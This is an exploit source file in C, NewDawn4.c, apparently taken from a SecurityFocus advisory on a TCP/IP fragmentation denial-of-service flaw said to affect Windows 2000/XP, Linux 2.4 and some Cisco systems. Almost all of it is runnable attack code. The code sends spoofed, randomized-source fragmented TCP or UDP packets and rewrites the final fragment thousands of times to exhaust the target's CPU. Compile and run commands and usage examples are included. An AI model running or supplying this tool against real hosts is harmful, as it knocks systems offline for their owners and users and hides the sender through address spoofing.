// source: https://www.securityfocus.com/bid/11258/info
Multiple vendor implementations of the TCP stack are reported prone to a remote denial-of-service vulnerability.
The issue is reported to present itself due to inefficiencies present when handling fragmented TCP packets.
The discoverer of this issue has dubbed the attack style the "New Dawn attack"; it is a variation of a previously reported attack that was named the "Rose Attack".
A remote attacker may exploit this vulnerability to deny service to an affected computer.
Microsoft Windows 2000/XP, Linux kernel 2.4 tree, and undisclosed Cisco systems are reported prone to this vulnerability; other products may also be affected.
/*-------------------------------------------------------------*/
/*
Implementation of Rose Attack described by Gandalf gandalf at digital.net
Reference: Bugtraq, 30 mars 2004, "IPv4 fragmentation, The Rose Attack"
NewDawn4.c written by Ken Hollis based on the code rose.c
written by Laurent Constantin and NewDawn.c and NewDawn2.c
written by chuck modified from large IGMP attack by Kox by
Coolio (coolio (at) k-r4d.com)
Program allows choice of TCP or UDP, number of packets to fragment, number
of fragments per packet and number of times the last fragment is
rewritten.
Based on a conversation where it was mentioned that a highly fragmented
packet would cause high CPU utilization if the last fragment was written
over and over again.
As chuck says, death by a thousand cuts.
NewDawn4 allows smaller fragments (8 bytes) to be sent to the host. See:
http://digital.net/~gandalf/Rose_Frag_Attack_Explained.htm
Usage : ./NewDawn4 type(1or2) ipaddress [port] [NumP] [Numt] [NumR] [NumF] [NumD]
Example: ./NewDawn4 1 1.2.3.4 80 5 9999 99999999 4080 2
type : 1=tcp, 2=udp
ipaddress : address to test
port : optional port number (0 means random)
NumP : Number of packets to fragment (less than 1000)
NumT : Number of times last fragment is rewritten
NumR : Number of times to run test
NumF : Number of fragments per packet
NumD : Delta between fragements. 2 = 8 bytes blank
16 bytes total between fragments (8 bytes
payload + 8 bytes blank = 16 bytes),
5 = 32 bytes blank (8 bytes payload + 32 bytes
blank = 40 bytes total = 5 * 8).
Library netwib must be installed:
http://www.laurentconstantin.com/en/netw/netwib/
http://go.to/laurentconstantin
To compile and run :
gcc -Wall -o NewDawn4 NewDawn4.c `netwib-config -lc`
./NewDawn4 1 www.example.com 80
The command:
./NewDawn4 1 10.12.14.16
Is equivalent to:
./NewDawn4 1 10.12.14.16 0 5 9999 99999999 1021 8
Where:
./NewDawn4 = Program Name
1 = TCP
10.12.14.16 = IP Address
0 = Random port numbers
5 = Five packets to fragment before staring next set of packets
9999 = The number of times to rewrite the last fragment of
the five packets
99999999 = The number of times to run this entire attack
1021 = The number of middle fragments to write.
8 = 64 bytes, 8 byte data + 56 bytes blank fragments (8 bytes * 8 = 64)
This was successfully tested with netwib 5.12.0, under Linux
to test a Windows 2000 host. Local network is Ethernet.
*/
/*-------------------------------------------------------------*/
// Test large number of packets
#define NUM_PACKETS 1000
#define NUM_LAST 9999
#define NUM_RUN 99999999
#define NUM_FRAG 8170
#define NUM_DELTA 8
#include <stdlib.h>
#include <stdio.h>
#include <netwib.h>
/*-------------------------------------------------------------*/
typedef enum {
ROSE_TYPE_TCP = 1,
ROSE_TYPE_UDP = 2
} rose_type;
/*-------------------------------------------------------------*/
typedef struct {
rose_type type;
netwib_ip ipad;
netwib_port port;
netwib_bool display;
netwib_buf buf;
netwib_io *pio;
} rose_params;
/*-------------------------------------------------------------*/
static netwib_err rose_loop(rose_params *prp, int npack, int nrew,
int nrun, int nfrag, int ndelta)
{
netwib_iphdr ipheader, ipstore[NUM_PACKETS];
netwib_tcphdr tcpheader, tcpstore[NUM_PACKETS];
netwib_udphdr udpheader, udpstore[NUM_PACKETS];
netwib_buf payload;
netwib_uint32 numsent = 0;
int i, j, nrun2;
printf("Packets %d Rewrite %d Runs %d Fragment packet to byte %d Delta %d\n\r",
npack, nrew, nrun, nfrag, ndelta);
for (nrun2=0; nrun2<nrun; nrun2++) {
for (i=0; i<npack; i++){
netwib_er(netwib_iphdr_initdefault(NETWIB_IPTYPE_IP4, &ipstore[i]));
netwib_er(netwib_uint32_init_rand_all(&ipstore[i].src.ipvalue.ip4));
switch(prp->type) {
case ROSE_TYPE_TCP :
netwib_er(netwib_tcphdr_initdefault(&tcpstore[i]));
netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpstore[i].src));
if (prp->port == 0) {
netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpstore[i].dst));
} else {
tcpstore[i].dst = prp->port;
}
break;
case ROSE_TYPE_UDP :
netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpstore[i].src));
if (prp->port == 0) {
netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpstore[i].dst));
} else {
udpstore[i].dst = prp->port;
}
break;
}
}
for (i=0; i<npack; i++){
/* construct first fragment */
netwib__buf_reinit(&prp->buf);
ipheader = ipstore[i];
ipheader.header.ip4.morefrag = NETWIB_TRUE;
ipheader.header.ip4.offsetfrag = 0; /* not necessary, but to be clear */
ipheader.src.iptype = NETWIB_IPTYPE_IP4;
ipheader.src.ipvalue.ip4 = ipstore[i].src.ipvalue.ip4;
ipheader.dst = prp->ipad;
switch(prp->type) {
case ROSE_TYPE_TCP :
tcpheader = tcpstore[i];
tcpheader.src = tcpstore[i].src;
tcpheader.dst = tcpstore[i].dst;
tcpheader.ack = NETWIB_TRUE;
netwib_er(netwib_buf_init_ext_text("1234567890123456789012345678",
&payload));
netwib_er(netwib_pkt_append_iptcpdata(&ipheader, &tcpheader, &payload,
&prp->buf));
break;
case ROSE_TYPE_UDP :
netwib_er(netwib_udphdr_initdefault(&udpheader));
udpheader.src = udpstore[i].src;
udpheader.dst = udpstore[i].dst;
netwib_er(netwib_buf_init_ext_text("12345678901234567890123456789012",
&payload));
netwib_er(netwib_pkt_append_ipudpdata(&ipheader, &udpheader, &payload,
&prp->buf));
break;
}
if (prp->display) {
netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
NETWIB_ENCODETYPE_DUMP));
}
netwib_er(netwib_io_write(prp->pio, &prp->buf));
/* construct middle fragments */
ipheader.header.ip4.offsetfrag = 0x0008;
for(ipheader.header.ip4.offsetfrag = 0x0008 ;
ipheader.header.ip4.offsetfrag< nfrag;
ipheader.header.ip4.offsetfrag = ipheader.header.ip4.offsetfrag +
ndelta){
netwib__buf_reinit(&prp->buf);
switch(prp->type) {
case ROSE_TYPE_TCP :
ipheader.protocol = NETWIB_IPPROTO_TCP;
netwib_er(netwib_buf_init_ext_text("12345678",
&payload));
break;
case ROSE_TYPE_UDP :
ipheader.protocol = NETWIB_IPPROTO_UDP;
netwib_er(netwib_buf_init_ext_text("12345678",
&payload));
break;
}
netwib_er(netwib_pkt_append_ipdata(&ipheader, &payload, &prp->buf));
if (prp->display) {
netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
NETWIB_ENCODETYPE_DUMP));
}
netwib_er(netwib_io_write(prp->pio, &prp->buf));
}
}
printf("Rewriting %d packets last fragment %d times\r\n",
npack,nrew); fflush(stdout);
/* construct last fragment and rewrite NUM_LAST times */
for (j=0;j<nrew;j++){
netwib__buf_reinit(&prp->buf);
for (i=0; i<npack; i++){
ipheader = ipstore[i];
ipheader.src.iptype = NETWIB_IPTYPE_IP4;
ipheader.src.ipvalue.ip4 = ipstore[i].src.ipvalue.ip4;
ipheader.dst = prp->ipad;
switch(prp->type) {
case ROSE_TYPE_TCP :
tcpheader = tcpstore[i];
tcpheader.src = tcpstore[i].src;
tcpheader.dst = tcpstore[i].dst;
tcpheader.ack = NETWIB_TRUE;
ipheader.protocol = NETWIB_IPPROTO_TCP;
break;
case ROSE_TYPE_UDP :
udpheader.src = udpstore[i].src;
udpheader.dst = udpstore[i].dst;
ipheader.protocol = NETWIB_IPPROTO_UDP;
break;
}
netwib__buf_reinit(&prp->buf);
ipheader.header.ip4.morefrag = NETWIB_FALSE;
ipheader.header.ip4.offsetfrag = 0x1FF0;
netwib_er(netwib_buf_init_ext_text("1234567890123456",
&payload));
netwib_er(netwib_pkt_append_ipdata(&ipheader, &payload, &prp->buf));
if (prp->display) {
netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
NETWIB_ENCODETYPE_DUMP));
}
netwib_er(netwib_io_write(prp->pio, &prp->buf));
}
}
/* dot display */
if (!prp->display && (numsent%100)==0) {
printf("."); fflush(stdout);
}
numsent++;
}
return(NETWIB_ERR_OK);
}
/*-------------------------------------------------------------*/
int main(int argc, char* argv[])
{
rose_params rp;
netwib_buf ipstr;
netwib_err ret;
int npack, nrew, nrun, nfrag, ndelta;
/* initialize netwib */
netwib_init();
/* check parameter count */
if (argc < 3 || argc > 9) {
printf("Usage : %s type(1or2) ipaddress [port] [NumP] [Numt] [NumR] [NumF] [NumD]\n", argv[0]);
printf("Example: %s 1 1.2.3.4 80 5 9999 99999999 1021 8\n", argv[0]);
printf(" type : %d=tcp, %d=udp\n", ROSE_TYPE_TCP, ROSE_TYPE_UDP);
printf(" ipaddress : address to test\n");
printf(" port : optional port number (0 means random)\n");
printf(" NumP : Number of packets to fragment\n");
printf(" NumT : Number of times last fragment is rewritten\n");
printf(" NumR : Number of times to run test\n");
printf(" NumF : Number of fragments per packet\n");
printf(" NumD : Delta between fragements.\n");
return(1);
}
/* first parameter is type */
rp.type = atoi(argv[1]);
switch(rp.type) {
case ROSE_TYPE_TCP :
case ROSE_TYPE_UDP :
break;
default :
printf("First parameter must be 1 or 2 (currently=%s)\n", argv[1]);
return(2);
}
/* second parameter is IP address */
netwib_er(netwib_buf_init_ext_text(argv[2], &ipstr));
ret = netwib_ip_init_buf(&ipstr, NETWIB_IP_DECODETYPE_BEST, &rp.ipad);
if (ret != NETWIB_ERR_OK) {
printf("Second parameter must be an IP or hostname (currently=%s)\n",
argv[2]);
return(3);
}
/* third parameter is port number */
rp.port = 0;
if (argc > 3) {
rp.port = atoi(argv[3]); /* on error, set to 0, but that's ok */
}
/* fourth parameter is number of packets to fragment */
npack = 5;
if (argc > 4) {
npack = atoi(argv[4]); /* on error, set to 1 */
}
if (npack < 1) { npack = 1; }
if (npack > 1000) { npack = 1000; }
/* fifth parameter is number of times packet is rewritten */
nrew = NUM_LAST;
if (argc > 5) {
nrew = atoi(argv[5]); /* on error, set to 0, but that's ok */
}
/* sixth parameter is number of times to run the test */
nrun = NUM_RUN;
if (argc > 6) {
nrun = atoi(argv[6]); /* on error, set to 0, but that's ok */
}
/* seventh parameter is number of fragments per packet */
nfrag = NUM_FRAG;
if (argc > 7) {
nfrag = atoi(argv[7]);
}
if (nfrag < 1) { nfrag = 1; }
/* eighth parameter is delta between fragments */
ndelta = NUM_DELTA;
if (argc > 8) {
ndelta = atoi(argv[8]);
}
/* Make sure that the fragments do not exceed 8170 */
nfrag = (nfrag * ndelta) + 8;
if (nfrag > 8170) { nfrag = 8170; }
printf("%s %d %s %d %d %d %d %d ndelta = %d\n\r",
argv[0], rp.type, argv[2], rp.port, npack, nrew, nrun,
nfrag / 8, ndelta);
/* set to NETWIB_TRUE to activate display */
rp.display = NETWIB_FALSE;
/* instead of allocating memory each time, just use this permanent buffer */
netwib_er(netwib_buf_init_mallocdefault(&rp.buf));
/* initialize spoofing feature */
netwib_er(netwib_io_init_spoof_ip(NETWIB_SPOOF_IP_INITTYPE_LINKBRAW,
&rp.pio));
/* main function */
ret = rose_loop(&rp, npack, nrew, nrun, nfrag, ndelta);
if (ret != NETWIB_ERR_OK) {
netwib_er(netwib_err_display(ret, NETWIB_ERR_ENCODETYPE_FULL));
return(ret);
}
/* close netwib */
netwib_er(netwib_io_close(&rp.pio));
netwib_er(netwib_buf_close(&rp.buf));
netwib_close();
return(0);
}
